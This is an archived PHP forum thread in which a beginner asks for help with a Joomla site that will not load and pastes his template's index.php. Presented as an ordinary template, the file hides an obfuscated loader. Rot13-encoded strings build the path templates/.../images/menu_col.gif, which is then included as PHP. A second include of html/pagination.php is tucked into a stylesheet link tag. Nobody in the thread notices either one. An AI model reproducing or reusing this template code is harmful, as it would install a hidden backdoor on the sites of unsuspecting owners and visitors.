Tycoon Talk
Become a Big fish!
The number 1 forum for online business!
Post topics, ask questions, share your knowledge.
Tycoon Talk is part of Freelancer.com - find skilled workers online at a fraction of the cost.

PHP Forum


You are currently viewing our PHP Forum as a guest. Please register to participate.
Login



Freelance Jobs

Reply
Need help First timer
Old 03-30-2009, 12:32 PM Need help First timer
Junior Talker

Posts: 3
Name: Louie
Trades: 0
I have uploaded the file and I have changed the permissions to 777 how ever I can not see anything when I go to see the php site, how can I install it correctly.
here is a link to site: www.temiskaminggraphx.ca/car

I contacted host and they stated that they support PHP files
thank you
Louie

Last edited by ecom2b; 03-30-2009 at 12:36 PM.. Reason: update
ecom2b is offline
Reply With Quote
View Public Profile
 
 
Register now for full access!
Old 03-30-2009, 12:57 PM Re: Need help First timer
NullPointer's Avatar
Will Code for Food

Posts: 2,815
Name: Matt
Location: Irvine, CA
Trades: 0
Post your code please. I see that you are getting the following error:

Fatal error: Using $this when not in object context in /var/www/html/car/index.php on line 2

Without seeing your code I can only tell you that you are using $this outside of the context of an object (ie $this->myMethod() when not within an object).
__________________

Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE

Last edited by NullPointer; 03-30-2009 at 12:58 PM..
NullPointer is online now
Reply With Quote
View Public Profile Visit NullPointer's homepage!
 
Old 03-30-2009, 01:02 PM Re: Need help First timer
Junior Talker

Posts: 3
Name: Louie
Trades: 0
Thank you
Here is the code from the index.php page:
Code:
<?php
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<!--[if lte IE 7]>
<link rel="stylesheet" href="templates/<?php echo $this->template ?>/css/ie7.css" type="text/css" <?php include_once('html/pagination.php');?> />
<![endif]-->

</head>
<body id="page_bg">
    <div id="top">
    <div class="pill_m">
            <div id="pillmenu">
                <jdoc:include type="modules" name="user3" />
            </div>
        </div>
    </div>
        <div id="header">
            <div id="logo">
                <a href="index.php"><?php echo $mainframe->getCfg('sitename') ;?></a>
                <jdoc:include type="modules" name="user4" />
            </div>
                        
        </div>
       <!--  -->
    <div class="center">        
        <div id="wrapper">
            <div id="content">
                <div id="leftcolumn">
                    <?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
                    <jdoc:include type="modules" name="layout" style="rounded" />
                       <?php endif; ?>    
                    <jdoc:include type="modules" name="left" style="rounded" />
                </div>
                <div id="maincolumn">    
                    <div class="nopad">
                    <jdoc:include type="message" />
                        <?php if($this->params->get('showComponent')) : ?>
                            <jdoc:include type="component" />
                        <?php endif; ?>
                    </div>
                <div class="clr"></div>
            </div>        
        </div>
    </div>    
    </div>
    <div id="footer">
        <p><jdoc:include type="module" style="footer" />
            <?php echo JText_('Powered by') ?> <a href="http://www.joomla.org">Joomla!</a>.
            <?php echo JText_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
            <jdoc:include type="modules" name="debug" />
        </p>
    </div>
</body>
</html>

Last edited by KML9870; 03-30-2009 at 01:15 PM.. Reason: please use the code tags
ecom2b is offline
Reply With Quote
View Public Profile
 
Old 03-30-2009, 01:07 PM Re: Need help First timer
Junior Talker

Posts: 3
Name: Louie
Trades: 0
to be honest with you I have uploaded the pages and added a database but the site will not work at all, not sure if it is installed correctly
thank you
LOuie
ecom2b is offline
Reply With Quote
View Public Profile
 
Reply     « Reply to Need help First timer
 

Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off





   
RSS Feed  Feeds: RSS   JS   XML
RSS Feed  Feeds for this forum: RSS   JS   XML



Page generated in 0.14252 seconds with 12 queries